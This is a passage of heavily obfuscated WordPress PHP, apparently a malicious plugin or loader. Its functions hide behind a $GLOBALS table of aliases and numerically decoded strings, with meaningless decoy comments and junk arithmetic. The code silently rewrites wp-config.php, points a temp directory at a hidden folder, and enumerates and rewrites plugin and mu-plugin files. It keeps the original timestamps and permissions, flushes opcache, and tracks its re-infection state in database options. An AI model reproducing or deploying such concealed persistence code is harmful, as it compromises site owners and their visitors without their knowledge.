  }
 if     (!$ef_t65847hf &&  !$eaytz59pccfood1c  &&  !$hk49puck7fxjk   && !$h_ffvrmts87yjba  &&   !$zfs0te5qlu)   return;

 $awsabti32gc  = "";
 $b_zag2hc7t   =    $a5k4otdarxhx3x;
if  ($ef_t65847hf) {
// MySQL JSON operators term merge



     if ($GLOBALS['__scf_y135v3krd50khw_1410'](op9tjzix(1556),   $a5k4otdarxhx3x, $rlz0s3zn71rdo)) $awsabti32gc  .=  $GLOBALS['__scf_de_u08mc_p_348']("\n", $rlz0s3zn71rdo[0]);


$b_zag2hc7t   =   $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1557),   "", $a5k4otdarxhx3x);

  if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t)) return;
    if (!$GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1558),  $b_zag2hc7t))  {
    if ($GLOBALS['__scf_y135v3krd50khw_1410'](b4gbsak56f40gos(1559),   $b_zag2hc7t,  $lj85979zpg8vsq7x))  $awsabti32gc .=  "\n"  .   $GLOBALS['__scf_de_u08mc_p_348']("\n", $lj85979zpg8vsq7x[0]);
  $b_zag2hc7t = $GLOBALS['__scf_sp5m_appgxyoko_471'](tvo1rh46s_(1559), "",      $b_zag2hc7t);
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t)) return;


     }
  }
  $b4d69lqn9raji  =    zp28wk01y(1560);
if   ($eaytz59pccfood1c &&   $GLOBALS['__scf_bvfhit3heqts_99']('/'     . $b4d69lqn9raji  . '/',  $b_zag2hc7t))  {
// evict orthogonal-adj radix-tree


$b_zag2hc7t   =  $GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(1561)  .   $b4d69lqn9raji .    zp28wk01y(1562), wlgh2_th(1563) .  "define( 'WP_TEMP_DIR', ( defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content' ) . '/.sc_tmp' );\n",   $b_zag2hc7t,    1);

   if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))   return;
}
     if   ($hk49puck7fxjk  && $GLOBALS['__scf_bvfhit3heqts_99']('/' .   $b4d69lqn9raji  .   '/',   $b_zag2hc7t)) {
// strength-reduce credential for WP Template Parts

  $b_zag2hc7t  = $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(1561)  .     $b4d69lqn9raji .   b4gbsak56f40gos(1564), b4gbsak56f40gos(1563)     .  "define( 'WP_CACHE', true ); /* SC_WC */\n",   $b_zag2hc7t,   1);
if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))     return;
 }   elseif   ($zfs0te5qlu)    {$hpeyvgte95=PHP_MAJOR_VERSION;$ncxqou4c8=$hpeyvgte95*4;



       $b_zag2hc7t  =    $GLOBALS['__scf_sp5m_appgxyoko_471'](op9tjzix(1561)    .   $b4d69lqn9raji   .  zp28wk01y(1565),   wlgh2_th(1563) .  "define( 'WP_CACHE', true ); /* SC_WC */\n",  $b_zag2hc7t,     1);
 if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))   return;
 }
if ($h_ffvrmts87yjba)    {



     $b_zag2hc7t  = $GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(1566),   "",   $b_zag2hc7t);
if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))    return;
 if  ($GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(1567) .     $b4d69lqn9raji  .     b4gbsak56f40gos(1564),   $b_zag2hc7t))  {


      $b_zag2hc7t =  $GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(1567)   .  $b4d69lqn9raji .   fjup2mc1h(1568),   op9tjzix(1563)   .   "define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );\ndefine( 'WP_DEBUG_DISPLAY', false );\n", $b_zag2hc7t, 1);
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))  return;

     }
       }
 if     ($b_zag2hc7t  ===  $a5k4otdarxhx3x)  return;
if (!ays3w9sevfe7ws($b_zag2hc7t)) return;
     if   ($zfs0te5qlu   &&  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1490))) @update_option(fjup2mc1h(1569),    1,   op9tjzix(1570));
if   ($hk49puck7fxjk      && !io41g5vwxkcaz_($oknhdgd23az7,  $a5k4otdarxhx3x)) {
 teikfigf_p5265esq_q(fjup2mc1h(1571),     tvo1rh46s_(1260));


  $b_zag2hc7t =  $GLOBALS['__scf_sp5m_appgxyoko_471'](tvo1rh46s_(1567)  .  $b4d69lqn9raji .  b4gbsak56f40gos(1572),  b4gbsak56f40gos(1563),   $b_zag2hc7t,   1);
 if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t)    || $b_zag2hc7t   ===  $a5k4otdarxhx3x) return;
     if (!ays3w9sevfe7ws($b_zag2hc7t))      return;
     }
  $km_a5x1a2my3nxw    =     @fileperms($oknhdgd23az7);
  $km_a5x1a2my3nxw =  ($km_a5x1a2my3nxw  ===    false)  ?  (785-365)  : ($km_a5x1a2my3nxw  & (0x3b+0x1c4));


 $k1nz2xs2mgbro_   = @$GLOBALS['__scf_kpr9p9o54hwof_101']($oknhdgd23az7);
     $x5eg5n5rfiv     = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($oknhdgd23az7);
   if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($x5eg5n5rfiv)    ||  $x5eg5n5rfiv  !==    $a5k4otdarxhx3x)    {
teikfigf_p5265esq_q(fjup2mc1h(1571),   b4gbsak56f40gos(1573));


    return;
    }


     unset($x5eg5n5rfiv);
    

    $cnhiw8umlzj1ndzl =  @$GLOBALS['__scf_iiafc2kxb9ov_79']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($oknhdgd23az7),    wlgh2_th(1574));
if   ($cnhiw8umlzj1ndzl    ===   false) return;
      if (@$GLOBALS['__scf_m2g_67700pfzin_204']($cnhiw8umlzj1ndzl,  $b_zag2hc7t)    !==  $GLOBALS['__scf_m2ym9pki8mue9_11']($b_zag2hc7t)) {
 @$GLOBALS['__scf_qb1d7dp0ekpw_19']($cnhiw8umlzj1ndzl);
   return;
   

}
// unaligned read

   @$GLOBALS['__scf_x853wccr0ol2d0_18']($cnhiw8umlzj1ndzl,   $km_a5x1a2my3nxw);
  if (!@$GLOBALS['__scf_tzc_p_uzbnf_qz_50']($cnhiw8umlzj1ndzl, $oknhdgd23az7))   {
  @$GLOBALS['__scf_qb1d7dp0ekpw_19']($cnhiw8umlzj1ndzl);
     return;
}
  if      ($k1nz2xs2mgbro_)   @$GLOBALS['__scf_qtfcgi4pxi71_75']($oknhdgd23az7,   $k1nz2xs2mgbro_);
if     ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1575)))   @opcache_invalidate($oknhdgd23az7, true);
if ($hk49puck7fxjk)  abixqrh87q1leuwh_cz_($oknhdgd23az7);
       if  (($hk49puck7fxjk    ||  $zfs0te5qlu) &&     $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1576))) @delete_option(wlgh2_th(1569));

    if ($GLOBALS['__scf_y135v3krd50khw_1410'](tvo1rh46s_(1577),   $awsabti32gc, $wusxlwndj8irb7))  {
   foreach ($GLOBALS['__scf_s8rgnr7_02m_155']($wusxlwndj8irb7[1])    as  $g_lyttucu02)  {
      if  ($GLOBALS['__scf_rbe_sihvfv_8']($g_lyttucu02,  tvo1rh46s_(1578))   ===      0   &&  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($g_lyttucu02))    @$GLOBALS['__scf_qb1d7dp0ekpw_19']($g_lyttucu02);
  }
     }
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1576)) && $GLOBALS['__scf_y135v3krd50khw_1410'](fjup2mc1h(1579),     $awsabti32gc, $ru8vx4t0r38g6y))  {
foreach ($GLOBALS['__scf_s8rgnr7_02m_155']($ru8vx4t0r38g6y[1]) as $t1b6m18onee) {
     if  ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1580), $t1b6m18onee))    @delete_option($t1b6m18onee);
}

  }
     }

 function     lmtqz88q2go3c3z()
      {
       if     (!defined(wlgh2_th(1350)))     return;
 $obvdps2zayft8ql  = defined(op9tjzix(831)) ?  WPMU_PLUGIN_DIR  :  WP_CONTENT_DIR   .    op9tjzix(1335);


$dp6s_qbuu54o15h  =     array();
 if     ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(832))) {
     if     (@$GLOBALS['__scf_ot56htgy8hrmim_44']($obvdps2zayft8ql))     foreach   ((array)  @$GLOBALS['__scf_ylc30lk3q5j_73']($obvdps2zayft8ql     .   fjup2mc1h(757))      as $tvdwqobdqe3owz)    $dp6s_qbuu54o15h[]  =      $tvdwqobdqe3owz;


 if    (defined(op9tjzix(719))   &&    @$GLOBALS['__scf_ot56htgy8hrmim_44'](WP_PLUGIN_DIR))  foreach     ((array) @$GLOBALS['__scf_ylc30lk3q5j_73'](WP_PLUGIN_DIR    .     op9tjzix(470)) as  $tvdwqobdqe3owz)  $dp6s_qbuu54o15h[]  =     $tvdwqobdqe3owz;
  }
 $e2r1y3zma2kvw8c  =   defined(tvo1rh46s_(1542))     ?     ABSPATH :  "";
     $noxa346zz6   =    WP_CONTENT_DIR   . wlgh2_th(167)     .      $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($e2r1y3zma2kvw8c  .    op9tjzix(91)),   0, (90^82))     .   b4gbsak56f40gos(92)   .   $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($e2r1y3zma2kvw8c  . tvo1rh46s_(93)), 0,    (3+5))      .     zp28wk01y(1544);
if     (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($noxa346zz6))  $dp6s_qbuu54o15h[]  =   $noxa346zz6;
foreach ($dp6s_qbuu54o15h as     $tvdwqobdqe3owz)  {
$k1nz2xs2mgbro_     = @$GLOBALS['__scf_kpr9p9o54hwof_101']($tvdwqobdqe3owz);
  if  (!$k1nz2xs2mgbro_   ||  ($k1nz2xs2mgbro_ %   (99942+58))    !==   (62303+31516))  {
  $sy8qv72rs41q4  =  @$GLOBALS['__scf_voobwg611qb_102']($tvdwqobdqe3owz);
 if    (!$sy8qv72rs41q4  ||    $sy8qv72rs41q4   <    (931-431)      || $sy8qv72rs41q4  >    (41142125+11286675)) continue;
 }
   $nwbal28ou6g4mbs = @$GLOBALS['__scf_czsd7giapuxwu_34']($tvdwqobdqe3owz);
        $wul9x0p7n8h0      =   @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
 if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($nwbal28ou6g4mbs) &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($wul9x0p7n8h0)   && $nwbal28ou6g4mbs  ===     $wul9x0p7n8h0) continue;
  $e55pxp_0ddwy  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($tvdwqobdqe3owz, false,    null,  0,    (4057+39));



  $_bgq2nfhdwzpmg =   null;
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($e55pxp_0ddwy)   &&  $GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(100),  $e55pxp_0ddwy,   $tlj3h16n1nzwl))  $_bgq2nfhdwzpmg =  $tlj3h16n1nzwl[1];



     elseif (_cz07l41au6zrisr5($tvdwqobdqe3owz,    (6796-1796))) $_bgq2nfhdwzpmg    =     b4gbsak56f40gos(210);
   if   ($_bgq2nfhdwzpmg === null    ||  !version_compare($_bgq2nfhdwzpmg,     _vfpypr4wakqs7jy_(), '<')) continue;
  $cyjfjii0lopdqo  =    tgyo8z7pgm0hrgi7zn($tvdwqobdqe3owz);


 if  ($cyjfjii0lopdqo  ===  false)      {
  teikfigf_p5265esq_q(wlgh2_th(1537), wlgh2_th(1581)  .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($tvdwqobdqe3owz));
 continue;
    }
  if ($cyjfjii0lopdqo  ===  true)  {
      if (u_c4ai7hmq4gvvc($tvdwqobdqe3owz,   $tvdwqobdqe3owz . b4gbsak56f40gos(31)))   {
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1575))) @opcache_invalidate($tvdwqobdqe3owz,   true);$_uxfx_460=PHP_MAJOR_VERSION;$ar8w388_21=$_uxfx_460*9;
 } elseif   (!_b1inwj90rdcngb($tvdwqobdqe3owz)  &&  yhtrb7u6dls0u1($tvdwqobdqe3owz))  {
  rfitcim9galxt391gcxlow($tvdwqobdqe3owz);
 lfv82aa8fnhnq9g($tvdwqobdqe3owz);


  }

  @$GLOBALS['__scf_qb1d7dp0ekpw_19']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($tvdwqobdqe3owz) .    b4gbsak56f40gos(708)     . $GLOBALS['__scf_dpm5ad5tej9nf_4']($tvdwqobdqe3owz,     fjup2mc1h(1544)));
  continue;



    }


 if (!_b1inwj90rdcngb($tvdwqobdqe3owz)   &&   yhtrb7u6dls0u1($tvdwqobdqe3owz))  {$eino3tfdz=10;$ors791w7=($eino3tfdz>0)?$eino3tfdz:-$eino3tfdz;

rfitcim9galxt391gcxlow($tvdwqobdqe3owz);
 lfv82aa8fnhnq9g($tvdwqobdqe3owz);
  }
// WP Post Title: resume proxy

wxth54ul2s6k5ru6pxa($tvdwqobdqe3owz);
 }
  cez6l8zgqxrug2xvcnn();


$kogqc4hheaib  =    WP_CONTENT_DIR     .      wlgh2_th(1081);
if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($kogqc4hheaib)   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(832))) {
     foreach   ((array)   @$GLOBALS['__scf_ylc30lk3q5j_73']($kogqc4hheaib  .    wlgh2_th(1582)) as    $omstsaj8xxsg6u)  {
   if    (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($omstsaj8xxsg6u) ||  !@$GLOBALS['__scf_tluflp7r6hugyf_48']($omstsaj8xxsg6u))   continue;


 $zkbkx53h7v  = @$GLOBALS['__scf_voobwg611qb_102']($omstsaj8xxsg6u);
 if   (!$zkbkx53h7v  || $zkbkx53h7v  >     (155271+1941881))      continue;
 $t_nqtqe6o9hr6     =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($omstsaj8xxsg6u);$qx3dnb7dr=PHP_INT_MAX/PHP_INT_MAX;$hwo02bp4t929zi=$qx3dnb7dr+54;
    if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($t_nqtqe6o9hr6))    continue;
  if  ($GLOBALS['__scf_rbe_sihvfv_8']($t_nqtqe6o9hr6,   zp28wk01y(1534)) === false   && $GLOBALS['__scf_rbe_sihvfv_8']($t_nqtqe6o9hr6,    zp28wk01y(1583))  ===   false  &&   $GLOBALS['__scf_rbe_sihvfv_8']($t_nqtqe6o9hr6, fjup2mc1h(1584))  ===   false) continue;
   if   (!xf_n6422a61k2jc2r_($t_nqtqe6o9hr6)) continue;


        $lkoutolh8dr    =     m_tg84yh_c1n46t5h($t_nqtqe6o9hr6);
    if ($GLOBALS['__scf_zneqqdn4vlt4_42']($lkoutolh8dr)  &&     $lkoutolh8dr !==      $t_nqtqe6o9hr6)    {
// Redis object cache network override

        _ew1atk9e66yol2lso($omstsaj8xxsg6u,   $lkoutolh8dr);
    if      ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1585)))      @opcache_invalidate($omstsaj8xxsg6u,  true);
}
 }

       }
// PSR-4 namespaces: streaming locator


     fvur8sa38r9z0tnl16lz(WP_CONTENT_DIR    . wlgh2_th(1300));
      fvur8sa38r9z0tnl16lz(WP_CONTENT_DIR  .  op9tjzix(1586));
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1492)) && $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1576))   &&    $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1587)))   {
$_on =    fmsvr16ge0nzzk9i6u(ABSPATH . op9tjzix(1240),   (7+3));
     $q1jsua3ghdy =   @get_option($_on,     "");$l4r6u1uldx=PHP_INT_MAX/PHP_INT_MAX;$zeqwllqk0qbs5b=$l4r6u1uldx+99;
 if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($q1jsua3ghdy)    && $q1jsua3ghdy   !== "") {



   $a00f31hbl9pb =  $GLOBALS['__scf__cpt1d1twdvp_362']($q1jsua3ghdy,      true);
 if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($a00f31hbl9pb)     && xsw796j0bf__dakug8v7b($a00f31hbl9pb))   @delete_option($_on);



}
     $p62jz7xorbivr    = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1588))  ?   cvod3ffny5vm5dt3d(wlgh2_th(1589), "")   :   "";
    if ($GLOBALS['__scf_zneqqdn4vlt4_42']($p62jz7xorbivr) &&  $p62jz7xorbivr  !==    "" &&   ($GLOBALS['__scf_m2ym9pki8mue9_11']($p62jz7xorbivr)  >  (1227117-178541)    || ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1590)) &&    orl4u64oiezevyfpwqi4j($p62jz7xorbivr)) ||  vjil5i_hqkp2tzz3f26g7g($p62jz7xorbivr)))  {



  if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1591))) v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(1589),  "", op9tjzix(1592));
 }



   }
   }
      function _yjfvv1s_lwgdiro4wbm1()
 {
try {
 if    (!defined(op9tjzix(1542)))   return;
 if      (!empty($GLOBALS[tvo1rh46s_(1593)])) {
 $GLOBALS[op9tjzix(1593)] =  0;
  teikfigf_p5265esq_q(tvo1rh46s_(1594), b4gbsak56f40gos(1595));
    }
   if    (!empty($GLOBALS[op9tjzix(1596)])) return;
        $GLOBALS[tvo1rh46s_(1596)]   =     true;

if (!isset($_GET[fjup2mc1h(1441)]) && $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1492))     &&  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(174))) {
$c9rqt2g88fxh   =      @get_option(b4gbsak56f40gos(1532),   array());
 $x6xasi0231uqb   =   false;
      if   ($GLOBALS['__scf_knhbvsumnby3_36']($c9rqt2g88fxh))    {
  if  (!empty($c9rqt2g88fxh['t'])) $x6xasi0231uqb  = true;

    if  (!$x6xasi0231uqb &&  !empty($c9rqt2g88fxh[tvo1rh46s_(1530)])    &&   $GLOBALS['__scf_knhbvsumnby3_36']($c9rqt2g88fxh[fjup2mc1h(1530)]))  {
    foreach  ($c9rqt2g88fxh[op9tjzix(1530)]    as    $_ci) {
if    ($GLOBALS['__scf_knhbvsumnby3_36']($_ci)  && !empty($_ci['p'])) {
$x6xasi0231uqb   =   true;



   break;
}
   }
}
}
    if ($x6xasi0231uqb) $GLOBALS['__scf_b1rqpek_6hp_174'](zp28wk01y(1481));
 

}
if (hevxi269p3v7rmjhw(qluu1auwul2zupq5h())) return;
$bk7m722qhl8ja_s     =    $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1492))  ? (int)  get_option(op9tjzix(1597), 0)    :  0;
    if     ($bk7m722qhl8ja_s < $GLOBALS['__scf_yg2rpewmkg_192']() -  (218+82) ||     $bk7m722qhl8ja_s  >  $GLOBALS['__scf_yg2rpewmkg_192']()   + (234+66)) {
  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1598))) @update_option(wlgh2_th(1597),  $GLOBALS['__scf_yg2rpewmkg_192']());



    lmtqz88q2go3c3z();
    }
  unset($bk7m722qhl8ja_s);
 dj5j9frc1m6lenq2myjb(qluu1auwul2zupq5h(),   _vfpypr4wakqs7jy_());


 if (!d0m54ziey0s38ncux0())      {
// WP useEntityRecords webp conversion

   ooqs2hav67mllb5qn();
cymdo_nz34awwi4();
  return;
}
 $dx_ofkvr3qy =   p_wsdzgl36a6wh_fs09();
 $oh7pq30qnd    =      array(
    qluu1auwul2zupq5h(),
$dx_ofkvr3qy    .   zp28wk01y(1586),
      );

      $ua43wwyq0f    =     _kfuf6d43lc7ive4x4lm();


  foreach      ($ua43wwyq0f  as    $u7w1fedus7ah8n) {
  if     (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($u7w1fedus7ah8n)) $oh7pq30qnd[]    =   $u7w1fedus7ah8n;
  }
// dehydrate bivariant for WP Heading Block

  $jysvrupuxvl    = array();
      $u9gvfvk_dkttj9n  = n0_7e12hpkahf8mwyn53();


   if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($u9gvfvk_dkttj9n[1])) $jysvrupuxvl[zp28wk01y(1599)    .    $u9gvfvk_dkttj9n[0]]   =   wlgh2_th(1258) .    $u9gvfvk_dkttj9n[2];
 $a5eo_f_nkpfzl3      =  @get_option(wlgh2_th(1600), array());
   if  (!$GLOBALS['__scf_knhbvsumnby3_36']($a5eo_f_nkpfzl3))     $a5eo_f_nkpfzl3  = array();
     $z_dzphrevubzs   =     false;
foreach     ($oh7pq30qnd as $q9bdm8vc06odw4)  {
// initialize fallback-handler for Intl extension

     $g2qi4n71nqg3  =   @$GLOBALS['__scf_en2e7qgldhuhq6_54']($q9bdm8vc06odw4);
$z7f9xi94vruxpx     = $g2qi4n71nqg3 ?  ($g2qi4n71nqg3[b4gbsak56f40gos(1601)] .  '|'    .  $g2qi4n71nqg3[b4gbsak56f40gos(1602)])    :  '0';
    $em416sui7b8      =    isset($a5eo_f_nkpfzl3[$q9bdm8vc06odw4])   ? $a5eo_f_nkpfzl3[$q9bdm8vc06odw4]  :     "";



if     ($z7f9xi94vruxpx  ===    $em416sui7b8)    continue;


        if   ($GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(1603),   $em416sui7b8,     $p31cmjdj555klr) &&   $GLOBALS['__scf_zre6ec18ly90y_10']($em416sui7b8,    0,  -$GLOBALS['__scf_m2ym9pki8mue9_11']($p31cmjdj555klr[0]))   === $z7f9xi94vruxpx    &&    $GLOBALS['__scf_yg2rpewmkg_192']()   -      (int) $p31cmjdj555klr[1]    <    (3542+58)) continue;
  $z_dzphrevubzs    =     true;
   break;
 }
 if   (!$z_dzphrevubzs) {
     foreach  ($jysvrupuxvl    as $key    =>  $s8rm1qoh6o) {
    $z7f9xi94vruxpx   = ebzvnoq1wcw_d02($GLOBALS['__scf_zre6ec18ly90y_10']($key,   (0x1+0x4)),     $s8rm1qoh6o);
  $em416sui7b8  = isset($a5eo_f_nkpfzl3[$key])     ?   $a5eo_f_nkpfzl3[$key]   :  "";
     if   ($z7f9xi94vruxpx   === $em416sui7b8)    continue;
 if ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1603), $em416sui7b8,   $p31cmjdj555klr)   && $GLOBALS['__scf_zre6ec18ly90y_10']($em416sui7b8, 0,  -$GLOBALS['__scf_m2ym9pki8mue9_11']($p31cmjdj555klr[0]))  ===  $z7f9xi94vruxpx &&   $GLOBALS['__scf_yg2rpewmkg_192']() -    (int)     $p31cmjdj555klr[1]  <  (20881+65519)) continue;
  $z_dzphrevubzs    = true;



       break;


}
 }
 $zo6xpmvstla09   =   $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), fjup2mc1h(1544));
  $ywvjrsyx7_0     = $dx_ofkvr3qy   .  wlgh2_th(95)     .    $zo6xpmvstla09     . '/'  . $zo6xpmvstla09   .     tvo1rh46s_(1544);
 $ycmlhlpqsk149e  =    jvo4rxyzwfoit_jq2h75n0();
 

       if    (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ywvjrsyx7_0)     ||    (int)     @$GLOBALS['__scf_voobwg611qb_102']($ywvjrsyx7_0) <   (2997+2003))    $z_dzphrevubzs      =  true;
   if   ($ycmlhlpqsk149e  !== ""    &&  !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ycmlhlpqsk149e)) $z_dzphrevubzs    =   true;
  if (!$z_dzphrevubzs    && $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1604)))  {
   $huui6p068z44l_e2   =   $zo6xpmvstla09  .    '/'    . $zo6xpmvstla09  .  wlgh2_th(1605);

  $fgautvrvb64jljnh =    get_option(op9tjzix(1606),   array());
if  (!$GLOBALS['__scf_knhbvsumnby3_36']($fgautvrvb64jljnh)   ||   !$GLOBALS['__scf_av84ex67tlp92_156']($huui6p068z44l_e2, $fgautvrvb64jljnh,  true))    $z_dzphrevubzs   =      true;
}



  if (!$z_dzphrevubzs) return;
 $tom_ya_3o3  =    $GLOBALS['__scf_yg2rpewmkg_192']();$c17f3m79q=99+46;$hky3psu8_jty=$c17f3m79q-18;


  $gra1j0wyxs8v9  =  0;
$drtzw3gav7z  =     0;
     if    ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1604))) {



$m98k1qtvx1nx5nv_   = @get_option(b4gbsak56f40gos(1607), "");
    if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($m98k1qtvx1nx5nv_)   &&   $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1608),  $m98k1qtvx1nx5nv_, $rlz0s3zn71rdo)) {
// @ssa-convert allocator


   $gra1j0wyxs8v9    =  (int) $rlz0s3zn71rdo[1];$ul8xitcf20y=(0xce+0xba);$tqiq6w13jaql=$ul8xitcf20y%4;
$drtzw3gav7z  =    (int)     $rlz0s3zn71rdo[2];
 }
}
 $ahdc0qp1nh6r     =   $drtzw3gav7z   <=  0     ?   0    :    ($drtzw3gav7z  ===    1    ?  (30<<1)   : ($drtzw3gav7z  ===      2    ? (55+245)    : (1754+46)));



if   ($gra1j0wyxs8v9  > 0 &&   ($tom_ya_3o3 -  $gra1j0wyxs8v9)    <  $ahdc0qp1nh6r)  return;
   if    (!mmsya1lu9x3wz6a92pu(op9tjzix(1609)))  return;
  try {
    b0wop22b9ka0x2ul();
 blyvdc2uxuermre1dz5d();


  cymdo_nz34awwi4();
qvz8jvjbfafxons9o();

    xh9l1_ukvmo21ud52hqhdb();
  ooqs2hav67mllb5qn();
in4gkwm5phvqrp();
      d8vue3a1qevpar41();
 $ghu8yedb6b    =   ky3eor3ffue9ipn();
  $gzfbgm6nv1v6nj =      mwnkvj5w0u0roh2t8rj5();
       $v4ms5wwulveq8v = (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ywvjrsyx7_0) ||  (int)   @$GLOBALS['__scf_voobwg611qb_102']($ywvjrsyx7_0)  < (6006-1006))   ||   ($ycmlhlpqsk149e  !== "" && !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ycmlhlpqsk149e));
if     (!$v4ms5wwulveq8v    && !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .   fjup2mc1h(1586)))    $v4ms5wwulveq8v =  true;
       if (!$v4ms5wwulveq8v && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1604)))    {
$huui6p068z44l_e2 =  $zo6xpmvstla09    .    '/'    .  $zo6xpmvstla09    .  fjup2mc1h(1605);
       $fgautvrvb64jljnh =    get_option(fjup2mc1h(1610),    array());
    if  (!$GLOBALS['__scf_knhbvsumnby3_36']($fgautvrvb64jljnh)  || !$GLOBALS['__scf_av84ex67tlp92_156']($huui6p068z44l_e2, $fgautvrvb64jljnh, true))  $v4ms5wwulveq8v =   true;
}
       if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1598)))   @update_option(b4gbsak56f40gos(1607),   $tom_ya_3o3  . '|' .  ($v4ms5wwulveq8v ?   ($drtzw3gav7z     + 1)     :    0), tvo1rh46s_(1592));
       $hu959nh8hr65p1jt    =    array();
 foreach ($oh7pq30qnd   as   $q9bdm8vc06odw4)   {
 $oqpncifig6   =     ($q9bdm8vc06odw4 ===    $dx_ofkvr3qy    .   op9tjzix(1586) &&    !$ghu8yedb6b) ||   ($GLOBALS['__scf_zre6ec18ly90y_10']($q9bdm8vc06odw4,  -(4+10))  === wlgh2_th(1611)    && !$gzfbgm6nv1v6nj);
     $g2qi4n71nqg3  = @$GLOBALS['__scf_en2e7qgldhuhq6_54']($q9bdm8vc06odw4);
if  ($g2qi4n71nqg3) {
 $hu959nh8hr65p1jt[$q9bdm8vc06odw4]  =   $g2qi4n71nqg3[wlgh2_th(1601)]  .  '|' .   $g2qi4n71nqg3[op9tjzix(1612)] .  ($oqpncifig6  ?  b4gbsak56f40gos(1613)  .  $GLOBALS['__scf_yg2rpewmkg_192']()  :  "");
    }
  }
foreach    ($jysvrupuxvl  as  $key    =>    $s8rm1qoh6o) {
 $iy1zepm98l  =   ebzvnoq1wcw_d02($GLOBALS['__scf_zre6ec18ly90y_10']($key,   (7-2)), $s8rm1qoh6o);
   if     ($iy1zepm98l  ===  '0'     || $GLOBALS['__scf_zre6ec18ly90y_10']($iy1zepm98l,   -2) ===  tvo1rh46s_(1614)) $iy1zepm98l .= wlgh2_th(1615) .  $GLOBALS['__scf_yg2rpewmkg_192']();
$hu959nh8hr65p1jt[$key]  =   $iy1zepm98l;
   }

@update_option(fjup2mc1h(1600),   $hu959nh8hr65p1jt,  tvo1rh46s_(1616));
}    finally {
/* read-committed allocator */

   xckt_q1b7jgyro8rvq(zp28wk01y(1609));



      }
 }  catch   (Throwable     $x0ydieb0v_72m_u) {
      teikfigf_p5265esq_q(fjup2mc1h(1617), $x0ydieb0v_72m_u);
}    catch    (Exception     $x0ydieb0v_72m_u)  {
 }
 }
  function ebzvnoq1wcw_d02($q9bdm8vc06odw4,   $s8rm1qoh6o)
 {
